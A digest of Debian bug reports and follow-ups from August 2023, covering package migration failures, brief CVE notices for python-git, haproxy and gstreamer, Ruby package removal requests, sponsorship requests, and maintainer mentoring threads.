Bug#1043505: src:squid: fails to migrate to testing for too long: autopkgtest regression
Source: squid Version: 5.7-2 Severity: serious Control: close -1 6.1-2 Tags: sid trixie User: release.debian@packages.debian.org Usertags: out-of-sync Dear maintainer(s), The Release Team considers packages that are out-of-sync between testing and unstable for more than 30 days as having a Release Critical bug in testing [1]. Your package src:squid has been trying to migrate for 33 days [2]. Hence, I am filing this bug. The version in unstable fails it's own autopkgtests, while the version in testing passes. If a package is out of sync between unstable and testing for a longer period, this usually means that bugs in the package in testing cannot be fixed via unstable. Additionally, blocked packages can have impact on other packages, which makes preparing for the release more difficult. Finally, it often exposes issues with the package and/or its (reverse-)dependencies. We expect maintainers to fix issues that hamper the migration of their package in a timely manner. This bug will trigger auto-removal when appropriate. As with all new bugs, there will be at least 30 days before the package is auto-removed. I have immediately closed this bug with the version in unstable, so if that version or a later version migrates, this bug will no longer affect testing. I have also tagged this bug to only affect sid and trixie, so it doesn't affect (old-)stable. If you believe your package is unable to migrate to testing due to issues beyond your control, don't hesitate to contact the Release Team. Paul [1] https://lists.debian.org/debian-devel-announce/2023/06/msg1.html [2] https://qa.debian.org/excuses.php?package=squid
Bug#1043504: Another regression fix for CVE-2022-23123
Package: netatalk Version: 3.1.12~ds-3+deb10u2 X-Debbugs-Cc: t...@security.debian.org,debian-...@lists.debian.org Dear Debian Security team, Would you be able to help me get the following critical regression fix into the Buster netatalk package? The regression was introduced with the patch for CVE-2022-23123 and is impacting a subset of users that have certain metadata in their shared files. The issue leads to an unavoidable crash and renders netatalk useless with their shared volumes. Separately, it also contains a fix for saving MS Office files onto an otherwise functioning shared volume. This is the commit with the fix in question: https://github.com/Netatalk/netatalk/commit/7dbde0ce704be7fbdb23e893e05cedced337350d See this PR for discussion and links back to the user reported issue tickets: https://github.com/Netatalk/netatalk/pull/178 See also Bug#1036740 for the previous batch of regression fixes for the same CVE. Thank you!
Bug#1043503: python-git: CVE-2023-40267
Source: python-git Version: 3.1.30-1 Severity: important Tags: security upstream Forwarded: https://github.com/gitpython-developers/GitPython/pull/1609 X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for python-git. CVE-2023-40267[0]: | GitPython before 3.1.32 does not block insecure non-multi options in | clone and clone_from. NOTE: this issue exists because of an | incomplete fix for CVE-2022-24439. If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2023-40267 https://www.cve.org/CVERecord?id=CVE-2023-40267 [1] https://github.com/gitpython-developers/GitPython/pull/1609 [2] https://github.com/gitpython-developers/GitPython/commit/5c59e0d63da6180db8a0b349f0ad36fef42aceed Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#1043424: plasma-desktop: Missing dependency on pipewire breaks screen sharing under Wayland
On 8/10/23 20:49, Lisandro Damián Nicanor Pérez Meyer wrote: pipewire: expected, not the default sound subsystem for bookworm. Screen sharing under KDE uses pipewire. That makes KDE dependent on pipewire, regardless of what the default is. Default desktop environment is Gnome, that doesn't mean other environments shouldn't install their dependencies. -- Nazar
Bug#1043502: haproxy: CVE-2023-40225
Source: haproxy Version: 2.6.14-1 Severity: important Tags: security upstream Forwarded: https://github.com/haproxy/haproxy/issues/2237 X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for haproxy. CVE-2023-40225[0]: | HAProxy through 2.0.32, 2.1.x and 2.2.x through 2.2.30, 2.3.x and | 2.4.x through 2.4.23, 2.5.x and 2.6.x before 2.6.15, 2.7.x before | 2.7.10, and 2.8.x before 2.8.2 forwards empty Content-Length | headers, violating RFC 9110 section 8.6. In uncommon cases, an | HTTP/1 server behind HAProxy may interpret the payload as an extra | request. If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2023-40225 https://www.cve.org/CVERecord?id=CVE-2023-40225 [1] https://github.com/haproxy/haproxy/issues/2237 Please adjust the affected versions in the BTS as needed. Regards, Salvatore
Bug#1043501: gst-plugins-ugly1.0: ZDI-CAN-21443 ZDI-CAN-21444
Source: gst-plugins-ugly1.0 Version: 1.22.4-1 Severity: grave Tags: security upstream X-Debbugs-Cc: car...@debian.org, Debian Security Team There are two gst-streamer-ugly1.0 reports from ZDI (not yet public) tracked as https://gstreamer.freedesktop.org/security/sa-2023-0004.html https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/4266ba0fd2be7702044a5d90a8215abe41709874 https://gstreamer.freedesktop.org/security/sa-2023-0005.html https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/eb89e0a13eeb59fc5bab787ded50faf6a50087e3 AFAICS, no CVEs are yet assigned? Regards, Salvatore
Bug#1043449: [Pkg-rust-maintainers] Bug#1043449: rust-tera: Please provide feature date-locale
Please provide feature date-locale. The date-locale feature in tera depends on the "unstable-locales" feature in chrono. There are a couple of issues I see here. 1. It's an unstable feature, it's not clear how much of a maintinance burden that will be going forward. 2. It requires the "pure-rust-locales" crate which is not currently in Debian.
Bug#1043427: src:utop: fails to migrate to testing for too long: blocked by ocaml-logs rebuild
Le 11/08/2023 à 20:53, Paul Gevers a écrit : One current blocker is xmlrpc-light, which I mistakenly uploaded with urgency low 2 days ago, which therefore should not migrate before 8 days from now. It seems the connection is hidden. It would be nice if you could show how that works. Look for "(not considered)" implicit dependencies with grep-excuses: utop -> ocaml-logs/ppc64el -> ocaml-x509/ppc64el -> ocaml-zarith -> ocsigenserver/s390x -> xml-light -> xmlrpc-light AFAIU, these 7 items (at least) need to migrate to testing together. I am wondering: Couldn't the required age for xmlrpc-light be lowered? Or should I upload a new package with a higher urgency? I have added an age hint and dropped required age to 5. Thank you. Cheers, -- Stéphane
Bug#1042490: rust-assert-cmd: Please update to v2.0.10
Please update to (at least) newer upstream release v2.0.10. The new version of assert_cmd has switched to anstream instead of yansi, the anstream crate is not currently in Debian. As I've said before I don't like to package new things if they aren't personally important to me The update also looks like it will bring with it a new version of the predicates crate, but that doesn't seem to be a huge deal. I've pushed my work in progress on this update to the "update-assert-cmd" branch if anyone else wants to pick it up.
Bug#1043500: librust-winnow-dev: impossible to install
Package: librust-winnow-dev Version: 0.4.8-1+b1 Severity: grave Justification: renders package unusable -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Impossible to install: Depends on unavailable packages librust-anstyle-0.3+default-dev and librust-anstyle-stream-0.2+default-dev. -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmTXCMwACgkQLHwxRsGg ASEl4Q/+JfoD3B73fi8wQlhcHmL/QO+SoCyIcmLje+xVQweRmtMQ9IQd+8PCc3/P No4Tp0wZQ8F7r/vVhqkw4XVLQp3hCq/ghsoclbRQnH0MmMru1Bct0s6piLCoLQHu m1Z6HoMaTcy7uIRYdoph6gu8jzrfzpNRLdXniCz3/4cUlH38RAVnwOIzpFyQOD00 qXWrLGx6nT3yieO4ktXpqCgrlAnL1tgNe/kNmNRwuSGkqRzNu+pAvv+ETnaoK281 bZuR8aAI5jILbN/DXdXIXvXtet37NzmGBS4Ti4wZ7eSRvrgQdvD8C7s7myZgKIqY VGQ/J6uvf8kRbCxBtqfY9tQ7ncJFWlHvQp+u6Bb/uetP2EhSzm6fJZrd5v6Dr/48 5amIhngyF9T2X9UiRg9GneP8p2KxqRAvi/ttei2WTerDw4yxJRzJCBGWYk7nLAjZ 7bJtK9Y250txvFmn7VkoCkI+lBDrMvnmTe4MYFgonZxeeMcZyTkAwysBuBLQICgk NqC7RlQbzkB3DSnZ7Kf/RlOFFZ/gdv5V2u+iBg55C3tUe7bAFMKOEYVZCrFLnJbV j320g2aus2d8MhPKgKJiaUzSQR7wg1NqlZREz57ldnMWrcrqDTrC1D5Lil8aFC0N RobTO26VTTmZNEbG8On9qzBJppczqeFUFP7pxzPHQIiKPP7ZCII= =t0DW -END PGP SIGNATURE-
Bug#1043499: RFS: filezilla/3.63.0-1+deb12u1 -- Full-featured graphical FTP/FTPS/SFTP client
Package: sponsorship-requests Severity: normal Dear mentors, I am looking for a sponsor for my package "filezilla": * Package name : filezilla Version : 3.63.0-1+deb12u1 Upstream contact : Tim Kosse * URL : https://filezilla-project.org/ * License : GPL-2+, MIT, permissive, BSD-like, CC0-1.0 * Vcs : https://salsa.debian.org/debian/filezilla Section : net The source builds the following binary packages: filezilla - Full-featured graphical FTP/FTPS/SFTP client filezilla-common - Architecture independent files for filezilla To access further information about this package, please visit the following URL: https://mentors.debian.net/package/filezilla/ Alternatively, you can download the package with 'dget' using this command: dget -x https://mentors.debian.net/debian/pool/main/f/filezilla/filezilla_3.63.0-1+deb12u1.dsc Changes since the last upload: filezilla (3.63.0-1+deb12u1) bookworm; urgency=medium . * Fix FTBFS and add 32-bit builds back to bookworm Notes: * This 'pu' has been cleared for upload at: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1043398 * Ready for source only upload new updates NEW queue. Regards Phil -- Playing the game for the games sake. * Debian Maintainer Social: * Twitter: kathenasorg * Instagram: kathenasorg signature.asc Description: This is a digitally signed message part
Bug#1043498: RM: ruby-buff-extensions -- ROM; dep by removed berkshelf, low popcon, deprecated upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-buff-extensi...@packages.debian.org Control: affects -1 + src:ruby-buff-extensions ruby-buff-extensions is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. It has reverse dependency with ruby-buff-config and ruby-varia-model, but these are filed with RM. Low popcon. Deprecated and archived upstream since 2018. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043497: RM: ruby-varia-model -- ROM; dep by removed berkshelf, low popcon, deprecated upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-varia-mo...@packages.debian.org Control: affects -1 + src:ruby-varia-model ruby-varia-model is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. It has reverse dependency with ruby-buff-config, but it is filed with RM. Low popcon. Deprecated and archived upstream since 2018. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043496: RM: ruby-buff-ruby-engine -- ROM; dep by removed berkshelf, low popcon, deprecated upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-buff-ruby-eng...@packages.debian.org Control: affects -1 + src:ruby-buff-ruby-engine ruby-buff-ruby-engine is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. It has reverse dependency with ruby-buff-shell-out but it is filed with RM. Low popcon. Deprecated and archived upstream since 2018. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043495: RM: ruby-buff-ignore -- ROM; dep by removed berkshelf, no-rdep, low popcon, dead upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-buff-ign...@packages.debian.org Control: affects -1 + src:ruby-buff-ignore ruby-buff-ignore is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. No reverse dependencies. Low popcon. Dead upstream. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043494: RM: ruby-buff-shell-out -- ROM; dep by removed berkshelf, no-rdep, low popcon, deprecated upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-buff-shell-...@packages.debian.org Control: affects -1 + src:ruby-buff-shell-out ruby-buff-shell-out is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. No reverse dependencies. Low popcon. Deprecated and archived upstream since 2017. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043493: RM: ruby-buff-config -- ROM; dep by removed berkshelf, no-rdep, low popcon, deprecated upstream
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-buff-con...@packages.debian.org Control: affects -1 + src:ruby-buff-config ruby-buff-config is a package that was supposed to be removed with berkshelf when berkshelf was removed in 2020, but was not. No reverse dependencies. Low popcon. Deprecated and archived upstream since 2018. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043492: RM: ruby-bourne -- ROM; RC, no-rdep, build-rdep ruby-terrapin only, upstream archived since 2017, low popcon
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-bou...@packages.debian.org Control: affects -1 + src:ruby-bourne ruby-bourne is affected by RC bug #1027341, but upstream is deprecated and archived since 2017. No reverse-dependencies and low popcon. Build-rdep ruby-terrapin only, but I filed RM: ruby-terrapin. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#1043491: RM: ruby-terrapin -- ROM; RC, builddep ruby-bourne, which is not active since 2018, no rdeps, low popcon
Package: ftp.debian.org Severity: normal User: ftp.debian@packages.debian.org Usertags: remove X-Debbugs-Cc: ruby-terra...@packages.debian.org Control: affects -1 + src:ruby-terrapin ruby-terrapin is affected by RC bug #1027345 (builddep ruby-bourne which is not active since 2018, deprecated and archived in upstream. I will file RM: ruby-bourne, too). No rdeps and low popcon. It has been declared in https://lists.debian.org/debian-ruby/2023/02/msg00010.html. -- Regards, dai GPG Fingerprint = 0B29 D88E 42E6 B765 B8D8 EA50 7839 619D D439 668E signature.asc Description: PGP signature
Bug#956803: libteam-utils: teamd using 100% cpu
Package: libteam-utils
Version: 1.31-1
Followup-For: Bug #956803
X-Debbugs-Cc: adin...@gmail.com
Dear Maintainer,
This bug still exists as of version 1.31-1. My current team config is:
{
"device": "team1",
"runner": {
"name": "loadbalance",
"tx_hash": ["eth"],
"tx_balancer": {
"name": "basic"
}
},
"link_watch": {
"name": "ethtool"
},
"ports": {
"enp13s0": {},
"wlp12s0": {
"link_watch": {
"delay_up": 4000,
"delay_down": 1000
}
}
}
}
But I have 100% cpu utlization even with a simple config like:
{
"runner": {
"name": "loadbalance"
},
"ports": {
"enp13s0": {}
}
}
I *do not* have the same issue with any of the other runners. (Well, I don't
have LACP set up on my router, so *maybe* LACP would have the same problem as
well, but I can't test it).
This happens regardless of the current traffic on the network.
I can verify that the "team_mode_loadbalance" and "team" kernel modules are
loaded.
I can provide more info if needed.
-- System Information:
Debian Release: 12.1
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386
Kernel: Linux 6.1.0-11-amd64 (SMP w/16 CPU threads; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages libteam-utils depends on:
ii libc6 2.36-9+deb12u1
ii libdaemon00.14-7.1
ii libdbus-1-3 1.14.8-2~deb12u1
ii libjansson4 2.14-2
ii libteam5 1.31-1
ii libteamdctl0 1.31-1
libteam-utils recommends no packages.
libteam-utils suggests no packages.
-- no debconf information
Bug#967845: yersinia: depends on deprecated GTK 2
Please build with configure --disable-gtk and drop the build dependency.
Bug#1043490: accessibility: kmag and vmg don’t work in kde plasma desktop in debian 12 (work in kunbuntu 23.04)
Package: accessibility Severity: normal X-Debbugs-Cc: edgard.dev...@gmx.fr Dear Maintainer, *** Reporter, please consider answering these questions, where appropriate *** * What led up to the situation? * What exactly did you do (or not do) that was effective (or ineffective)? * What was the outcome of this action? * What outcome did you expect instead? *** End of the template - remove these template lines *** -- System Information: Debian Release: 12.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-10-amd64 (SMP w/4 CPU threads; PREEMPT) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: systemd (via /run/systemd/system) LSM: AppArmor: enabled
Bug#1016558: O: muse-el
control: retitle -1 ITA: muse-el Nicholas D Steeves writes: > On Sun, 6 Aug 2023 at 04:37, Manphiz wrote: >> Nicholas D Steeves writes: >> >> > Hi, >> > >> > Reply follows inline. Can we move this discussion to #1016558 to not >> > bother Axel with our discussion? > > I guess that's a no? Following up at #1016558 from now on. Also changed #1016558 from O to ITA. > >> > Manphiz writes: >> >> Nicholas D Steeves writes: >> > Nicholas D Steeves writes: >> > >> > Wonderful! I also see you have a GPG key now. Have you generated >> > revocations certificates yet? >> > >> > >> > https://wiki.debian.org/Keysigning#Step_2:_Generate_a_revocation_certificate >> >> Now I have one. Thanks for the tip! > > You're welcome :) > >> > Next, where can I find your key? >> >> I have previously uploaded my GPG key to pgp.mit.edu[1]. > > Ah, that's where it was. I thought everyone had switched to > https://keys.openpgp.org/ these days (this is the default server on > Debian) after the end of the SKS network. Thanks for the reminder to > continue to check pgp.mit.edu as a fallback. Now also uploaded my PGP keys to https://keys.openpgp.org/. pgp.mit.edu has been unstable for a while, so a good alternative is definitely a plus :) > >> Please advise if https://keyserver.ubuntu.com is still recommended for >> prospective DMs. > > This is the first I've heard of that recommendation. I wonder if > people in #debian-mentors (OFTC) will also be surprised? I'd use > keyserver.ubuntu.com if I had a Launchpad account and maintained a > PPA, but honestly wouldn't bother. I started using keys.openpgp.org > since that's where various people expected to find my key haha. Sounds good. I guess keys.openpgp.org is good enough then :) > >> I have a few more commits[2] that should have fixed most of the lintian >> warnings. > > LGTM > >> There is another INFO level warning: >> >> I: muse-el source: patch-not-forwarded-upstream >> [debian/patches/0005-convert-a-muse-init.el-example-to-UTF-8.patch] >> >> I wonder whether you would also like to forward this patch upstream. > > If you really want to, go ahead, but I'm not interested in the FSF's > identity verification for copyright assignment process, so this might > end up as a futile effort. In light of this, a "hey, we have a UTF8 > conversion patch...would you like to convert your copy to UTF8 either > with or without our patch" might be smoother. If you happen to have > have done FSF copyright assignment paperwork, please go ahead and > claim ownership of that trivial patch. Forwarded upstream. As my pull request got merged fairly quickly I'm slightly more optimistic here. > > I'm happy to sponsor from git when you finalise the changelog, but if > ever you want to get some hands-on experience with dput (or dput-ng), > then practise uploading to https://mentors.debian.net/. Uploaded using dput. Would be great to have you to take a look as well. Thanks! > > Best, > Nicholas > > On Sun, 6 Aug 2023 at 04:37, Manphiz wrote: >> >> Nicholas D Steeves writes: >> >> > Hi, >> > >> > Reply follows inline. Can we move this discussion to #1016558 to not >> > bother Axel with our discussion? >> > >> > Manphiz writes: >> > >> >> Nicholas D Steeves writes: >> > Nicholas D Steeves writes: >> > >> >> Thanks! Though I'm not really a user of muse-el, I'd like to keep it in >> >> a good shape as an exercise as an Emacs addon maintainer. It looks like >> >> there is not too much work thanks to Elisp being a fairly stable >> >> language :) >> > >> > That's fine, thank you once again for adopting it, and yes, generally >> > everything is ok :) >> > >> [1] https://salsa.debian.org/emacsen-team/muse-el/-/merge_requests/3 >> >>> >> >> Thanks for the tips! I checked the Debian Policy Upgrading Checklist[1] >> >> and agreed with Debian Janitor on the "no changes are needed" bit. And >> >> to avoid having to wait for the bot to do the rebase I've manually >> >> resolved the conflicts and rebased my MR on top of it as well. >> >> >> > >> > You're welcome, and good call. >> > >> >>> Let me know when your done, and we can talk about the next steps. >> >> >> >> Now all MRs are merged. Please advise the next steps. Thanks! >> >> >> > >> > Wonderful! I also see you have a GPG key now. Have you generated >> > revocations certificates yet? >> > >> > >> > https://wiki.debian.org/Keysigning#Step_2:_Generate_a_revocation_certificate >> >> Now I have one. Thanks for the tip! >> >> > >> > Next, where can I find your key? >> >> I have previously uploaded my GPG key to pgp.mit.edu[1]. >> >> > I'm assuming that you're committed to >> > maintaining this identity for the foreseeable future, and that you'd >> > like to build reputation for future involvement in Debian. It's not >> > required at the stage you're at, but it's recommended. >> > >> > https://wiki.debian.org/Keysigning#Step_3:_Make_your_public_key_public >> >> Please advise if https://keyserver.ubuntu.com is
Bug#1016558: Bug#1042911: Breaks Emacs 29.1 upgrade: muse-split.el:41:2: Error: Cannot open load file: No such file or directory, assoc
Nicholas D Steeves writes: > On Sun, 6 Aug 2023 at 04:37, Manphiz wrote: >> Nicholas D Steeves writes: >> >> > Hi, >> > >> > Reply follows inline. Can we move this discussion to #1016558 to not >> > bother Axel with our discussion? > > I guess that's a no? Ah sorry totally missed this part. This will be the last message to #1042911. Will follow-up the rest in #1016558. > >> > Manphiz writes: >> >> Nicholas D Steeves writes: >> > Nicholas D Steeves writes: >> > >> > Wonderful! I also see you have a GPG key now. Have you generated >> > revocations certificates yet? >> > >> > >> > https://wiki.debian.org/Keysigning#Step_2:_Generate_a_revocation_certificate >> >> Now I have one. Thanks for the tip! > > You're welcome :) > >> > Next, where can I find your key? >> >> I have previously uploaded my GPG key to pgp.mit.edu[1]. > > Ah, that's where it was. I thought everyone had switched to > https://keys.openpgp.org/ these days (this is the default server on > Debian) after the end of the SKS network. Thanks for the reminder to > continue to check pgp.mit.edu as a fallback. > >> Please advise if https://keyserver.ubuntu.com is still recommended for >> prospective DMs. > > This is the first I've heard of that recommendation. I wonder if > people in #debian-mentors (OFTC) will also be surprised? I'd use > keyserver.ubuntu.com if I had a Launchpad account and maintained a > PPA, but honestly wouldn't bother. I started using keys.openpgp.org > since that's where various people expected to find my key haha. > >> I have a few more commits[2] that should have fixed most of the lintian >> warnings. > > LGTM > >> There is another INFO level warning: >> >> I: muse-el source: patch-not-forwarded-upstream >> [debian/patches/0005-convert-a-muse-init.el-example-to-UTF-8.patch] >> >> I wonder whether you would also like to forward this patch upstream. > > If you really want to, go ahead, but I'm not interested in the FSF's > identity verification for copyright assignment process, so this might > end up as a futile effort. In light of this, a "hey, we have a UTF8 > conversion patch...would you like to convert your copy to UTF8 either > with or without our patch" might be smoother. If you happen to have > have done FSF copyright assignment paperwork, please go ahead and > claim ownership of that trivial patch. > > I'm happy to sponsor from git when you finalise the changelog, but if > ever you want to get some hands-on experience with dput (or dput-ng), > then practise uploading to https://mentors.debian.net/. > > Best, > Nicholas > > On Sun, 6 Aug 2023 at 04:37, Manphiz wrote: >> >> Nicholas D Steeves writes: >> >> > Hi, >> > >> > Reply follows inline. Can we move this discussion to #1016558 to not >> > bother Axel with our discussion? >> > >> > Manphiz writes: >> > >> >> Nicholas D Steeves writes: >> > Nicholas D Steeves writes: >> > >> >> Thanks! Though I'm not really a user of muse-el, I'd like to keep it in >> >> a good shape as an exercise as an Emacs addon maintainer. It looks like >> >> there is not too much work thanks to Elisp being a fairly stable >> >> language :) >> > >> > That's fine, thank you once again for adopting it, and yes, generally >> > everything is ok :) >> > >> [1] https://salsa.debian.org/emacsen-team/muse-el/-/merge_requests/3 >> >>> >> >> Thanks for the tips! I checked the Debian Policy Upgrading Checklist[1] >> >> and agreed with Debian Janitor on the "no changes are needed" bit. And >> >> to avoid having to wait for the bot to do the rebase I've manually >> >> resolved the conflicts and rebased my MR on top of it as well. >> >> >> > >> > You're welcome, and good call. >> > >> >>> Let me know when your done, and we can talk about the next steps. >> >> >> >> Now all MRs are merged. Please advise the next steps. Thanks! >> >> >> > >> > Wonderful! I also see you have a GPG key now. Have you generated >> > revocations certificates yet? >> > >> > >> > https://wiki.debian.org/Keysigning#Step_2:_Generate_a_revocation_certificate >> >> Now I have one. Thanks for the tip! >> >> > >> > Next, where can I find your key? >> >> I have previously uploaded my GPG key to pgp.mit.edu[1]. >> >> > I'm assuming that you're committed to >> > maintaining this identity for the foreseeable future, and that you'd >> > like to build reputation for future involvement in Debian. It's not >> > required at the stage you're at, but it's recommended. >> > >> > https://wiki.debian.org/Keysigning#Step_3:_Make_your_public_key_public >> >> Please advise if https://keyserver.ubuntu.com is still recommended for >> prospective DMs. >> >> > >> > The subkey that I was able to download didn't include any identities. >> > >> > Other than that, this package isn't quite ready to upload, because there >> > are three unaddressed lintian warnings. >> > >> > https://wiki.debian.org/Lintian >> >> I have a few more commits[2] that should have fixed most of the lintian >> warnings. There
Bug#1038812: ITP: sexpp -- S-expressions parser and generator C++ library and command-line tool
On Thu, Aug 10, 2023 at 09:59:24PM +, Thorsten Alteholz wrote: > On Thu, 10 Aug 2023, Daniel Kahn Gillmor wrote: > > It would be great if someone on the FTP team could either accept the > > sexpp package, or reject it with an explanation of what needs to be done > > to fix it. > > I am not going to ACCEPT a package with that name, I agree with Thorsten (and the advice of anti-harassment team) that weboob was a problem, and we need to remain vigilant to ensure we don't allow things like that again. I also know (being a Lisper) that S-Expressions (Symbolic Expressions) are commonly abbreviated as sexprs both internal to codebase (such as internal package names) and in user-facing documentation. There are also similar M-Expressions (Meta Expressions). I do not believe this name is in any way intended to be a joke, or to reference the string "sex"; this is the only technically correct way to refer to the syntax for which it's designed to parse. In fact, "sexpr" is included in the codebase of libreoffice, gcc, vim, firefox, llvm, sed, chromium, zsh, bash, grub2, along with 410 other packages, according to codesearch.debian.net. If 'sexpr' is an issue, we have a *lot* of work to do; on the order of "master/slave" being slowly fixed to "primary/secondary" (or other more helpful and descriptive terms) which will require the coordination of a *lot* of upstreams. > but maybe someone else from the team wants to do this. Given that I believe that I understand the reasons behind the hold, I have reviewed this package, and marked it for accept on my best judgement. This package should hit sid soon. If the rest of the ftpteam continues to disagree, we can hash it out and I can take accountability for fixing the archive due to any actions I have taken. paultag -- ⢀⣴⠾⠻⢶⣦⠀ Paul Tagliamonte ⣾⠁⢠⠒⠀⣿⡁ https://people.debian.org/~paultag | https://pault.ag/ ⢿⡄⠘⠷⠚⠋Debian, the universal operating system. ⠈⠳⣄⠀⠀ 4096R / FEF2 EB20 16E6 A856 B98C E820 2DCD 6B5D E858 ADF3 signature.asc Description: PGP signature
Bug#1043489: xscreensaver-settings doesn't open settings, instead it runs demo
Package: xscreensaver Version: 6.06+dfsg1-3 Severity: normal Dear Maintainer, After upgrade to Debian 12 xscreensaver-settings doesn't open settings, instead it runs demo as if I run xscreensaver-demo. I need to click "Advanced" to switch to settings. xscreensaver-settings should open settings. *** End of the template - remove these template lines *** -- System Information: Debian Release: 12.1 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 6.1.0-11-amd64 (SMP w/8 CPU threads; PREEMPT) Locale: LANG=C, LC_CTYPE=ru_RU.KOI8-R (charmap=KOI8-R), LANGUAGE not set Shell: /bin/sh linked to /usr/bin/dash Init: sysvinit (via /sbin/init) LSM: AppArmor: enabled Versions of packages xscreensaver depends on: ii init-system-helpers1.65.2 ii libatk1.0-02.46.0-5 ii libc6 2.36-9+deb12u1 ii libcrypt1 1:4.4.33-2 ii libelogind0 [libsystemd0] 246.10-1debian1 ii libglib2.0-0 2.74.6-2 ii libgtk-3-0 3.24.37-2 ii libpam0g 1.5.2-6 ii libx11-6 2:1.8.4-2+deb12u1 ii libxext6 2:1.3.4-1+b1 ii libxft22.3.6-1 ii libxi6 2:1.8-1+b1 ii libxinerama1 2:1.1.4-3 ii libxml22.9.14+dfsg-1.3~deb12u1 ii libxrandr2 2:1.5.2-2+b1 ii libxt6 1:1.2.1-1.1 ii libxxf86vm11:1.1.4-1+b2 ii xscreensaver-data 6.06+dfsg1-3 Versions of packages xscreensaver recommends: ii fonts-urw-base35 20200910-7 ii libjpeg-turbo-progs 1:2.1.5-2 ii perl 5.36.0-7 ii wamerican [wordlist] 2020.12.07-2 ii xfonts-100dpi 1:1.0.5 Versions of packages xscreensaver suggests: ii chromium [www-browser] 115.0.5790.170-1~deb12u1 ii elinks [www-browser] 0.13.2-1+b4 pn fortune pn gdm3 | kdm-gdmcompat ii links2 [www-browser] 2.28-1+b2 pn qcam | streamer ii xdaliclock 2.46-1 ii xfishtank2.5-1+b1 ii xscreensaver-data-extra 6.06+dfsg1-3 ii xscreensaver-gl 6.06+dfsg1-3 ii xscreensaver-gl-extra6.06+dfsg1-3 -- no debconf information
Bug#1043488: xrdp: check pgp signature on upstream package
